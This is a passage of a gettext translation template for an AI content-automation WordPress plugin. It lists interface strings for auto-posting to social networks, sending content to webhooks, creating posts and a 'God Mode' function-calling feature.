Pinterest pin" msgstr "" #: aiomatic-automation.php:1042 #, php-format msgid "" "Set the title of the Pinterest pin. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1046 msgid "Pin Description" msgstr "" #: aiomatic-automation.php:1048 msgid "Set the description of the Pinterest pin" msgstr "" #: aiomatic-automation.php:1049 #, php-format msgid "" "Set the description of the Pinterest pin. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1053 msgid "Pin URL" msgstr "" #: aiomatic-automation.php:1055 msgid "Set the URL of the Pinterest pin" msgstr "" #: aiomatic-automation.php:1056 #, php-format msgid "" "Set the URL of the Pinterest pin. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1065 msgid "Sends posts to X (Twitter) pages" msgstr "" #: aiomatic-automation.php:1071 msgid "X (Twitter) Post Template" msgstr "" #: aiomatic-automation.php:1073 msgid "Set the main X (Twitter) post content" msgstr "" #: aiomatic-automation.php:1074 #, php-format msgid "" "Set the main X (Twitter) post content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1078 msgid "X (Twitter) Post Image URL" msgstr "" #: aiomatic-automation.php:1080 msgid "Set the link of the X (Twitter) post image" msgstr "" #: aiomatic-automation.php:1081 #, php-format msgid "" "Set the link of the X (Twitter) post image. Additional shortcodes you can " "use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1090 msgid "Sends posts to Google My Business pages" msgstr "" #: aiomatic-automation.php:1096 msgid "Business Where to Publish Posts" msgstr "" #: aiomatic-automation.php:1098 msgid "" "Select the business associated with your account, where you want to publish " "your posts." msgstr "" #: aiomatic-automation.php:1102 msgid "Google My Business Post Template" msgstr "" #: aiomatic-automation.php:1104 msgid "Set the main Google My Business post content" msgstr "" #: aiomatic-automation.php:1105 #, php-format msgid "" "Set the main Google My Business post content. Additional shortcodes you can " "use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1109 msgid "Google My Business Post Image URL" msgstr "" #: aiomatic-automation.php:1111 msgid "Set the link of the Google My Business post image" msgstr "" #: aiomatic-automation.php:1112 #, php-format msgid "" "Set the link of the Google My Business post image. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1121 msgid "Sends posts to YouTube Community pages" msgstr "" #: aiomatic-automation.php:1127 msgid "YouTube Community Post Template" msgstr "" #: aiomatic-automation.php:1129 msgid "Set the main YouTube Community post content" msgstr "" #: aiomatic-automation.php:1130 #, php-format msgid "" "Set the main YouTube Community post content. Additional shortcodes you can " "use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1134 msgid "YouTube Community Post Image URL" msgstr "" #: aiomatic-automation.php:1136 msgid "Set the link of the post image" msgstr "" #: aiomatic-automation.php:1137 #, php-format msgid "" "Set the link of the YouTube Community post image. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1141 msgid "YouTube Community Post Type" msgstr "" #: aiomatic-automation.php:1143 msgid "Set the YouTube Community post type." msgstr "" #: aiomatic-automation.php:1152 msgid "Sends posts to Reddit subreddits" msgstr "" #: aiomatic-automation.php:1158 msgid "Subreddits Where To Publish Posts" msgstr "" #: aiomatic-automation.php:1160 msgid "Set the subreddits where to publish the content (comma separated list)" msgstr "" #: aiomatic-automation.php:1161 msgid "Set the subreddits where to publish the content (comma separated list)." msgstr "" #: aiomatic-automation.php:1165 msgid "Reddit Post Title Template" msgstr "" #: aiomatic-automation.php:1167 msgid "Set the main Reddit post title" msgstr "" #: aiomatic-automation.php:1168 #, php-format msgid "" "Set the main Reddit post title. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1172 msgid "Reddit Post Content Template" msgstr "" #: aiomatic-automation.php:1174 msgid "Set the main Reddit post content" msgstr "" #: aiomatic-automation.php:1175 #, php-format msgid "" "Set the main Reddit post content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1179 msgid "Reddit Post Type" msgstr "" #: aiomatic-automation.php:1181 msgid "Set the Reddit post type." msgstr "" #: aiomatic-automation.php:1190 msgid "Sends posts to LinkedIn pages" msgstr "" #: aiomatic-automation.php:1202 msgid "LinkedIn Post Title" msgstr "" #: aiomatic-automation.php:1204 msgid "Set the main LinkedIn post title" msgstr "" #: aiomatic-automation.php:1205 #, php-format msgid "" "Set the main LinkedIn post title. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1209 msgid "LinkedIn Post Link" msgstr "" #: aiomatic-automation.php:1211 msgid "Set the main LinkedIn post link" msgstr "" #: aiomatic-automation.php:1212 #, php-format msgid "" "Set the main LinkedIn post link. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1216 msgid "LinkedIn Post Description" msgstr "" #: aiomatic-automation.php:1218 msgid "Set the main LinkedIn post description" msgstr "" #: aiomatic-automation.php:1219 #, php-format msgid "" "Set the main LinkedIn post description. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1223 msgid "Attach Links To Created Posts" msgstr "" #: aiomatic-automation.php:1225 msgid "Set if you want to attach links to created LinkedIn posts." msgstr "" #: aiomatic-automation.php:1229 msgid "LinkedIn Post Template" msgstr "" #: aiomatic-automation.php:1231 msgid "Set the main LinkedIn post content" msgstr "" #: aiomatic-automation.php:1232 #, php-format msgid "" "Set the main LinkedIn post content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1236 msgid "LinkedIn Post Image URL" msgstr "" #: aiomatic-automation.php:1238 msgid "Set the link of the LinkedIn post image" msgstr "" #: aiomatic-automation.php:1239 #, php-format msgid "" "Set the link of the LinkedIn post image. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1248 msgid "Sends content to a webhook" msgstr "" #: aiomatic-automation.php:1254 msgid "Webhook URL" msgstr "" #: aiomatic-automation.php:1256 msgid "Set the webhook URL where to submit the content" msgstr "" #: aiomatic-automation.php:1257 msgid "Set the webhook URL where to submit the content." msgstr "" #: aiomatic-automation.php:1261 msgid "Method Selector" msgstr "" #: aiomatic-automation.php:1263 msgid "" "Select the request method you want to use, when sending the data to the " "webhook." msgstr "" #: aiomatic-automation.php:1267 msgid "Content Type" msgstr "" #: aiomatic-automation.php:1269 msgid "" "Select the content type you want to send to the webhook. Possible values are " "JSON or Form Data." msgstr "" #: aiomatic-automation.php:1273 msgid "Content Template" msgstr "" #: aiomatic-automation.php:1275 msgid "Set the main webhook content" msgstr "" #: aiomatic-automation.php:1276 #, php-format msgid "" "Set the main webhook content. If you selected JSON type content, enter a " "valid JSON structure here. If you selected Form Data, enter the form data in " "this structure: key => value (add new key/value combinations on a new line). " "Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" #: aiomatic-automation.php:1280 msgid "Headers Template" msgstr "" #: aiomatic-automation.php:1282 msgid "Set content headers (optional)" msgstr "" #: aiomatic-automation.php:1283 #, php-format msgid "" "Set any headers to send with the webhook request. Enter the headers in this " "structure: key => value (add new key/value combinations on a new line). " "Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" #: aiomatic-automation.php:1292 msgid "" "Sends content to a God Mode function, the AI can call any function from your " "WordPress site. Warning, this feature can be dangerous, use it only if you " "know what you are doing!" msgstr "" #: aiomatic-automation.php:1300 msgid "Set the AI prompt which will be sent to the God Mode parser" msgstr "" #: aiomatic-automation.php:1301 #, php-format msgid "" "Set the AI prompt which will be sent to the God Mode parser. Additional " "shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported. You should add here specific instructions on what feature of the " "God Mode (WordPress functions) should be called by the AI." msgstr "" #: aiomatic-automation.php:1307 msgid "" "Select the AI Assistant to be used with the AI God Mode parser. If you " "select an assistant, a model cannot be selected any more, but instead, the " "model assigned to the assistant will be used. Also, the AI Assistant needs " "to have the God Mode function enabled in its settings." msgstr "" #: aiomatic-automation.php:1313 msgid "" "Select the model to be used with the AI God Mode parser. Only models which " "support function calling are listed here." msgstr "" #: aiomatic-automation.php:1322 msgid "Saves the AI created data as a WordPress post" msgstr "" #: aiomatic-automation.php:1328 res/aiomatic-single-list.php:316 #: res/aiomatic-single-list.php:8496 msgid "Post Title" msgstr "" #: aiomatic-automation.php:1330 msgid "Set the title of the post to be created" msgstr "" #: aiomatic-automation.php:1331 #, php-format msgid "" "Set the title of the post to be created. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1335 res/aiomatic-single-list.php:359 #: res/aiomatic-single-list.php:8502 msgid "Post Content" msgstr "" #: aiomatic-automation.php:1337 msgid "Set the content of the post to be created" msgstr "" #: aiomatic-automation.php:1338 #, php-format msgid "" "Set the content of the post to be created. Additional shortcodes you can " "use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1342 res/aiomatic-single-list.php:410 msgid "Post Excerpt" msgstr "" #: aiomatic-automation.php:1344 msgid "Set the excerpt of the post" msgstr "" #: aiomatic-automation.php:1345 #, php-format msgid "" "Set the excerpt of the post to be created. Additional shortcodes you can " "use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1349 msgid "Post Slug" msgstr "" #: aiomatic-automation.php:1351 msgid "Set the slug of the post" msgstr "" #: aiomatic-automation.php:1352 msgid "" "Set the slug of the post (the post URL/name). If you leave this field blank, " "WordPress will automatically generate the slug of the post from the post " "tile. Any text that you enter here will be URL encoded, to be compatible " "with slug creation. The length of the slug should not exceed 200 characters." msgstr "" #: aiomatic-automation.php:1356 msgid "Post Author ID" msgstr "" #: aiomatic-automation.php:1358 msgid "Set the numeric ID of the author of the post" msgstr "" #: aiomatic-automation.php:1359 msgid "" "Select the numeric ID of the author that you want to assign for the " "automatically generated posts." msgstr "" #: aiomatic-automation.php:1363 res/aiomatic-amazon-list.php:4538 #: res/aiomatic-csv-list.php:1500 res/aiomatic-listicle-list.php:4332 #: res/aiomatic-review-list.php:4691 res/aiomatic-rules-list.php:4899 #: res/aiomatic-youtube-list.php:4436 msgid "Post Status" msgstr "" #: aiomatic-automation.php:1365 res/aiomatic-amazon-list.php:1949 #: res/aiomatic-amazon-list.php:4535 res/aiomatic-csv-list.php:362 #: res/aiomatic-csv-list.php:1497 res/aiomatic-listicle-list.php:1838 #: res/aiomatic-listicle-list.php:4329 res/aiomatic-review-list.php:2018 #: res/aiomatic-review-list.php:4688 res/aiomatic-rules-list.php:2119 #: res/aiomatic-rules-list.php:4896 res/aiomatic-youtube-list.php:1890 #: res/aiomatic-youtube-list.php:4433 msgid "" "Select the status that you want for the automatically generated posts to " "have." msgstr "" #: aiomatic-automation.php:1369 res/aiomatic-single-list.php:574 #: res/aiomatic-single-list.php:8592 msgid "Post Type" msgstr "" #: aiomatic-automation.php:1371 res/aiomatic-amazon-list.php:1970 #: res/aiomatic-amazon-list.php:4571 res/aiomatic-csv-list.php:383 #: res/aiomatic-csv-list.php:1533 res/aiomatic-listicle-list.php:1859 #: res/aiomatic-listicle-list.php:4365 res/aiomatic-review-list.php:2039 #: res/aiomatic-review-list.php:4724 res/aiomatic-rules-list.php:2140 #: res/aiomatic-rules-list.php:4932 res/aiomatic-youtube-list.php:1911 #: res/aiomatic-youtube-list.php:4469 msgid "Select the type (post/page) for your automatically generated item." msgstr "" #: aiomatic-automation.php:1375 msgid "Post Format" msgstr "" #: aiomatic-automation.php:1377 res/aiomatic-amazon-list.php:2002 #: res/aiomatic-csv-list.php:415 res/aiomatic-listicle-list.php:1891 #: res/aiomatic-review-list.php:2071 res/aiomatic-rules-list.php:2172 #: res/aiomatic-youtube-list.php:1943 msgid "" "If your template supports 'Post Formats', than you can select one here. If " "not, leave this at it's default value." msgstr "" #: aiomatic-automation.php:1381 msgid "Post Parent" msgstr "" #: aiomatic-automation.php:1383 msgid "Set the ID of the parent of created posts" msgstr "" #: aiomatic-automation.php:1384 res/aiomatic-amazon-list.php:2029 #: res/aiomatic-amazon-list.php:4654 res/aiomatic-csv-list.php:442 #: res/aiomatic-csv-list.php:1616 res/aiomatic-listicle-list.php:1918 #: res/aiomatic-listicle-list.php:4448 res/aiomatic-review-list.php:2098 #: res/aiomatic-review-list.php:4807 res/aiomatic-rules-list.php:2199 #: res/aiomatic-rules-list.php:5015 res/aiomatic-youtube-list.php:1970 #: res/aiomatic-youtube-list.php:4552 msgid "" "Set the ID of the parent of created posts. This is useful for BBPress " "integration, to assign forum IDs for created topics or for other similar " "functionalities." msgstr "" #: aiomatic-automation.php:1388 msgid "Enable Comments" msgstr "" #: aiomatic-automation.php:1390 res/aiomatic-amazon-list.php:2044 #: res/aiomatic-amazon-list.php:4666 res/aiomatic-csv-list.php:472 #: res/aiomatic-csv-list.php:1645 res/aiomatic-listicle-list.php:1933 #: res/aiomatic-listicle-list.php:4460 res/aiomatic-review-list.php:2113 #: res/aiomatic-review-list.php:4819 res/aiomatic-rules-list.php:2214 #: res/aiomatic-rules-list.php:5027 res/aiomatic-youtube-list.php:1985 #: res/aiomatic-youtube-list.php:4564 msgid "Do you want to enable comments for the generated posts?" msgstr "" #: aiomatic-automation.php:1394 msgid "Enable Pingbacks/Trackbacks" msgstr "" #: aiomatic-automation.php:1396 res/aiomatic-amazon-list.php:2059 #: res/aiomatic-csv-list.php:487 res/aiomatic-listicle-list.php:1948 #: res/aiomatic-review-list.php:2128 res/aiomatic-rules-list.php:2229 #: res/aiomatic-youtube-list.php:2000 msgid "Do you want to enable pingbacks/trackbacks for the generated posts?" msgstr "" #: aiomatic-automation.php:1400 msgid "Post Date Range" msgstr "" #: aiomatic-automation.php:1402 msgid "Do you want to set a custom post publish date for posts?" msgstr "" #: aiomatic-automation.php:1403 msgid "" "Do you want to set a custom post publish date for posts? Set the range in " "the below field. You can set dates in the following format (a random date " "will be selected from the range): date1 ~ date2. If you don't use the ~ " "character, the date will be considered as a single date string." msgstr "" #: aiomatic-automation.php:1407 res/aiomatic-single-list.php:422 #: res/aiomatic-single-list.php:976 msgid "Custom Fields" msgstr "" #: aiomatic-automation.php:1409 msgid "" "custom_field_name1 => custom_field_value1, custom_field_name2 => " "custom_field_value2" msgstr "" #: aiomatic-automation.php:1410 msgid "" "Set the custom fields that will be set for generated posts. The syntax for " "this field is the following: custom_field_name1 => custom_field_value1, " "custom_field_name2 => custom_field_value2" msgstr "" #: aiomatic-automation.php:1414 msgid "Custom Taxonomies" msgstr "" #: aiomatic-automation.php:1416 msgid "" "custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; " "custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B" msgstr "" #: aiomatic-automation.php:1417 msgid "" "Set the custom taxonomies that will be set for generated posts. The syntax " "for this field is the following: custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B . You can also set " "hierarhical taxonomies (parent > child), in this format: " "custom_taxonomy_name => parent1 > child1 . " msgstr "" #: aiomatic-automation.php:1421 msgid "WPML/Polylang Language" msgstr "" #: aiomatic-automation.php:1423 msgid "en" msgstr "" #: aiomatic-automation.php:1424 res/aiomatic-amazon-list.php:2120 #: res/aiomatic-amazon-list.php:4731 res/aiomatic-csv-list.php:548 #: res/aiomatic-csv-list.php:1710 res/aiomatic-listicle-list.php:2009 #: res/aiomatic-listicle-list.php:4525 res/aiomatic-review-list.php:2189 #: res/aiomatic-review-list.php:4884 res/aiomatic-rules-list.php:2290 #: res/aiomatic-rules-list.php:5093 res/aiomatic-youtube-list.php:2061 #: res/aiomatic-youtube-list.php:4629 msgid "" "Enter a 2 letter language code that will be assigned as the WPML/Polylang " "language for posts. Example: for German, input: de" msgstr "" #: aiomatic-automation.php:1428 res/aiomatic-single-list.php:630 #: res/aiomatic-single-list.php:8648 msgid "Post Categories" msgstr "" #: aiomatic-automation.php:1430 msgid "Category1, Category2, Category3" msgstr "" #: aiomatic-automation.php:1431 msgid "Add a comma separated list of categories to set for posts." msgstr "" #: aiomatic-automation.php:1435 res/aiomatic-single-list.php:650 #: res/aiomatic-single-list.php:8668 msgid "Post Tags" msgstr "" #: aiomatic-automation.php:1437 msgid "Tag1, Tag2, Tag3" msgstr "" #: aiomatic-automation.php:1438 msgid "Add a comma separated list of tags to set for posts." msgstr "" #: aiomatic-automation.php:1442 res/aiomatic-single-list.php:678 #: res/aiomatic-single-list.php:8696 msgid "Featured Image" msgstr "" #: aiomatic-automation.php:1444 msgid "Set the featured image of the post to be created" msgstr "" #: aiomatic-automation.php:1445 #, php-format msgid "" "Set the featured image of the post to be created. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported. You can also use " "the numeric IDs of Media Library attachments." msgstr "" #: aiomatic-automation.php:1449 res/aiomatic-amazon-list.php:4490 #: res/aiomatic-csv-list.php:1452 res/aiomatic-listicle-list.php:4284 #: res/aiomatic-review-list.php:4643 res/aiomatic-rules-list.php:4851 #: res/aiomatic-youtube-list.php:4388 msgid "Run Regex On Content" msgstr "" #: aiomatic-automation.php:1451 msgid "Regex expression" msgstr "" #: aiomatic-automation.php:1452 res/aiomatic-amazon-list.php:1895 #: res/aiomatic-amazon-list.php:4487 res/aiomatic-csv-list.php:308 #: res/aiomatic-csv-list.php:1449 res/aiomatic-listicle-list.php:1784 #: res/aiomatic-listicle-list.php:4281 res/aiomatic-review-list.php:1964 #: res/aiomatic-review-list.php:4640 res/aiomatic-rules-list.php:2065 #: res/aiomatic-rules-list.php:4848 res/aiomatic-single-list.php:1272 #: res/aiomatic-single-list.php:2560 res/aiomatic-single-list.php:3763 #: res/aiomatic-single-list.php:4513 res/aiomatic-single-list.php:5781 #: res/aiomatic-single-list.php:7080 res/aiomatic-single-list.php:8446 #: res/aiomatic-youtube-list.php:1836 res/aiomatic-youtube-list.php:4385 msgid "" "Run regex on post content. To disable this feature, leave this field blank. " "No Regex separators are required here. You can add multiple Regex " "expressions, each on a different line." msgstr "" #: aiomatic-automation.php:1456 msgid "Replace Matches From Regex" msgstr "" #: aiomatic-automation.php:1458 msgid "Regex replacement" msgstr "" #: aiomatic-automation.php:1459 res/aiomatic-amazon-list.php:1166 #: res/aiomatic-amazon-list.php:1910 res/aiomatic-amazon-list.php:4499 #: res/aiomatic-csv-list.php:323 res/aiomatic-csv-list.php:1461 #: res/aiomatic-listicle-list.php:1075 res/aiomatic-listicle-list.php:1799 #: res/aiomatic-listicle-list.php:4293 res/aiomatic-review-list.php:1236 #: res/aiomatic-review-list.php:1979 res/aiomatic-review-list.php:4652 #: res/aiomatic-rules-list.php:1090 res/aiomatic-rules-list.php:2080 #: res/aiomatic-rules-list.php:4860 res/aiomatic-single-list.php:1287 #: res/aiomatic-single-list.php:2127 res/aiomatic-single-list.php:2575 #: res/aiomatic-single-list.php:3330 res/aiomatic-single-list.php:3778 #: res/aiomatic-single-list.php:4528 res/aiomatic-single-list.php:5318 #: res/aiomatic-single-list.php:5796 res/aiomatic-single-list.php:6631 #: res/aiomatic-single-list.php:7095 res/aiomatic-single-list.php:7998 #: res/aiomatic-single-list.php:8461 res/aiomatic-youtube-list.php:1093 #: res/aiomatic-youtube-list.php:1851 res/aiomatic-youtube-list.php:4397 msgid "" "Replace the above regex matches with this regex expression. If you want to " "strip matched content, leave this field blank. No Regex separators are " "required here. You can add multiple replacement expressions, each on a " "different line." msgstr "" #: aiomatic-automation.php:1463 res/aiomatic-amazon-list.php:4473 #: res/aiomatic-csv-list.php:1435 res/aiomatic-listicle-list.php:4267 #: res/aiomatic-review-list.php:4626 res/aiomatic-rules-list.php:4834 #: res/aiomatic-youtube-list.php:4354 msgid "Overwrite Existing Posts" msgstr "" #: aiomatic-automation.php:1465 res/aiomatic-amazon-list.php:1880 #: res/aiomatic-amazon-list.php:4470 res/aiomatic-csv-list.php:293 #: res/aiomatic-csv-list.php:1432 res/aiomatic-listicle-list.php:1769 #: res/aiomatic-listicle-list.php:4264 res/aiomatic-review-list.php:1949 #: res/aiomatic-review-list.php:4623 res/aiomatic-rules-list.php:2050 #: res/aiomatic-rules-list.php:4831 res/aiomatic-youtube-list.php:1806 #: res/aiomatic-youtube-list.php:4351 msgid "" "Select if you want to overwrite existing posts during the publishing process." msgstr "" #: aiomatic-automation.php:1469 msgid "Post ID (Optional)" msgstr "" #: aiomatic-automation.php:1471 aiomatic-automation.php:1472 msgid "Update an existing post ID (optional)" msgstr "" #: aiomatic-helpers.php:915 aiomatic-helpers.php:929 aiomatic-helpers.php:943 #: aiomatic-helpers.php:960 aiomatic-helpers.php:973 res/aiomatic-main.php:9300 #: res/aiomatic-main.php:9360 res/aiomatic-main.php:9761 #: res/aiomatic-main.php:9797 res/aiomatic-main.php:9859 msgid "All" msgstr "" #: aiomatic-helpers.php:1108 msgid "In" msgstr "" #: aiomatic-helpers.php:1613 aiomatic-helpers.php:1708 msgid "Request ID: " msgstr "" #: aiomatic-helpers.php:1616 res/aiomatic-batch.php:104 #: res/aiomatic-training.php:185 msgid "System" msgstr "" #: aiomatic-helpers.php:1618 res/aiomatic-batch.php:105 #: res/aiomatic-limits-statistics.php:934 res/aiomatic-training.php:186 msgid "User" msgstr "" #: aiomatic-helpers.php:1622 res/aiomatic-training.php:187 msgid "Assistant" msgstr "" #: aiomatic-helpers.php:1639 aiomatic-helpers.php:1732 #: res/aiomatic-chatbot.php:8214 msgid "Prev" msgstr "" #: aiomatic-helpers.php:1646 aiomatic-helpers.php:1739 #: res/aiomatic-chatbot.php:8223 msgid "Next" msgstr "" #: aiomatic-helpers.php:1711 aiomatic-shortcodes-file.php:8860 #: aiomatic-shortcodes-file.php:8957 aiomatic-shortcodes-file.php:9055 #: res/aiomatic-batch.php:567 msgid "Input" msgstr "" #: aiomatic-helpers.php:1715 msgid "Embedding" msgstr "" #: aiomatic-helpers.php:2250 msgid "Amazon S3 Storage For Images" msgstr "" #: aiomatic-helpers.php:2256 class-setup-wizard.php:1129 msgid "Store royalty-free or AI-generated images on Amazon S3" msgstr "" #: aiomatic-helpers.php:2260 msgid "Amazon API" msgstr "" #: aiomatic-helpers.php:2266 class-setup-wizard.php:1132 #: class-setup-wizard.php:1135 msgid "" "Use the official Amazon API instead of using web scraping, to get Amazon " "product details" msgstr "" #: aiomatic-helpers.php:2270 msgid "PDF File Storage And Parsing" msgstr "" #: aiomatic-helpers.php:2276 msgid "PDF File Parsing And Storage Using OmniBlocks" msgstr "" #: aiomatic-helpers.php:2280 msgid "F-omatic Post Generator" msgstr "" #: aiomatic-helpers.php:2286 msgid "" "Adds two chatbot extensions & OmniBlocks for direct Facebook sharing of text " "and images" msgstr "" #: aiomatic-helpers.php:2290 msgid "Twitomatic Post Generator" msgstr "" #: aiomatic-helpers.php:2296 msgid "" "Adds a chatbot extension & OmniBlock for direct X (Twitter) sharing of " "content" msgstr "" #: aiomatic-helpers.php:2300 msgid "Youtubomatic Post Generator" msgstr "" #: aiomatic-helpers.php:2306 msgid "" "Adds a chatbot extension & OmniBlock for direct YouTube Community sharing of " "content" msgstr "" #: aiomatic-helpers.php:2310 msgid "Linkedinomatic Post Generator" msgstr "" #: aiomatic-helpers.php:2316 msgid "" "Adds a chatbot extension & OmniBlock for direct LinkedIn sharing of content" msgstr "" #: aiomatic-helpers.php:2320 msgid "Redditomatic Post Generator" msgstr "" #: aiomatic-helpers.php:2326 msgid "" "Adds a chatbot extension & OmniBlock for direct Reddit sharing of content" msgstr "" #: aiomatic-helpers.php:2330 msgid "iMediamatic Instagram Bot" msgstr "" #: aiomatic-helpers.php:2336 msgid "" "Adds a chatbot extension & OmniBlock for direct Instagram sharing of content" msgstr "" #: aiomatic-helpers.php:2340 msgid "Pinterestomatic Post Generator" msgstr "" #: aiomatic-helpers.php:2346 msgid "" "Adds a chatbot extension & OmniBlock for direct Pinterest sharing of content" msgstr "" #: aiomatic-helpers.php:2351 msgid "Add new Extensions" msgstr "" #: aiomatic-helpers.php:3408 res/aiomatic-amazon-list.php:510 #: res/aiomatic-amazon-list.php:3101 res/aiomatic-chatbot.php:3554 #: res/aiomatic-embeddings.php:696 res/aiomatic-limits-statistics.php:1175 #: res/aiomatic-limits-statistics.php:1499 res/aiomatic-single-list.php:5975 #: res/aiomatic-spinner-list.php:2529 res/aiomatic-spinner-list.php:5690 msgid "None" msgstr "" #: aiomatic-helpers.php:3409 res/aiomatic-amazon-list.php:511 #: res/aiomatic-amazon-list.php:3106 res/aiomatic-chatbot.php:3555 #: res/aiomatic-main.php:9252 res/aiomatic-single-list.php:5976 msgid "Relevance" msgstr "" #: aiomatic-helpers.php:3410 res/aiomatic-amazon-list.php:512 #: res/aiomatic-chatbot.php:3556 res/aiomatic-single-list.php:5977 msgid "Price:LowToHigh" msgstr "" #: aiomatic-helpers.php:3411 res/aiomatic-amazon-list.php:513 #: res/aiomatic-amazon-list.php:3116 res/aiomatic-chatbot.php:3557 #: res/aiomatic-single-list.php:5978 msgid "Price:HighToLow" msgstr "" #: aiomatic-helpers.php:3412 res/aiomatic-amazon-list.php:514 #: res/aiomatic-amazon-list.php:3121 res/aiomatic-chatbot.php:3558 #: res/aiomatic-single-list.php:5979 msgid "NewestArrivals" msgstr "" #: aiomatic-helpers.php:3413 res/aiomatic-amazon-list.php:515 #: res/aiomatic-amazon-list.php:3126 res/aiomatic-chatbot.php:3559 #: res/aiomatic-single-list.php:5980 msgid "Featured" msgstr "" #: aiomatic-helpers.php:3414 res/aiomatic-amazon-list.php:516 #: res/aiomatic-amazon-list.php:3131 res/aiomatic-chatbot.php:3560 #: res/aiomatic-single-list.php:5981 msgid "AvgCustomerReviews" msgstr "" #: aiomatic-helpers.php:3420 msgid "United States" msgstr "" #: aiomatic-helpers.php:3421 msgid "United Kingdom" msgstr "" #: aiomatic-helpers.php:3422 msgid "United Arab Emirates" msgstr "" #: aiomatic-helpers.php:3423 msgid "Turkey" msgstr "" #: aiomatic-helpers.php:3424 msgid "Spain" msgstr "" #: aiomatic-helpers.php:3425 msgid "Singapore" msgstr "" 